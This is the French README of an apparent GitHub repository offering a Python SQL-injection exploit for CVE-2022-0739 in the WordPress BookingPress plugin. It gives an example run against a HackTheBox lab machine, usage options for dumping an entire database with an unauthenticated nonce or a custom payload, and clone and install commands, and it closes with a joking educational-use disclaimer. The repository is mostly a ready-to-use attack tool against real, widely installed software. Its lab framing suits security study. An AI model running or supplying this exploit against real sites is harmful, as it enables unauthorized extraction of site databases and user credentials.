viardant/cve-2022-0739Exploit pour WP BookingPress (< 1.0.11) basé sur destr4ct POC.
Ma version de l'exploit CVE-2022-0739 BookingPress, basée sur le POC de destr4ct - juste plus jolie.
Exemple d'utilisation contre la machine MetaTwo de HackTheBox, qui héberge un WordPress avec un plugin bookingpress vulnérable (version 1.0.10).
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
TL:DR; À des fins éducatives uniquement, ne cassez pas ce que vous ne possédez pas ou pour lequel vous n'avez pas la permission de tester. Si vous utilisez ce programme à des fins malveillantes, les dieux de la cybersécurité pourraient frapper votre ordinateur avec un malware si dévastateur que vous regretterez de ne pas avoir acheté un Mac.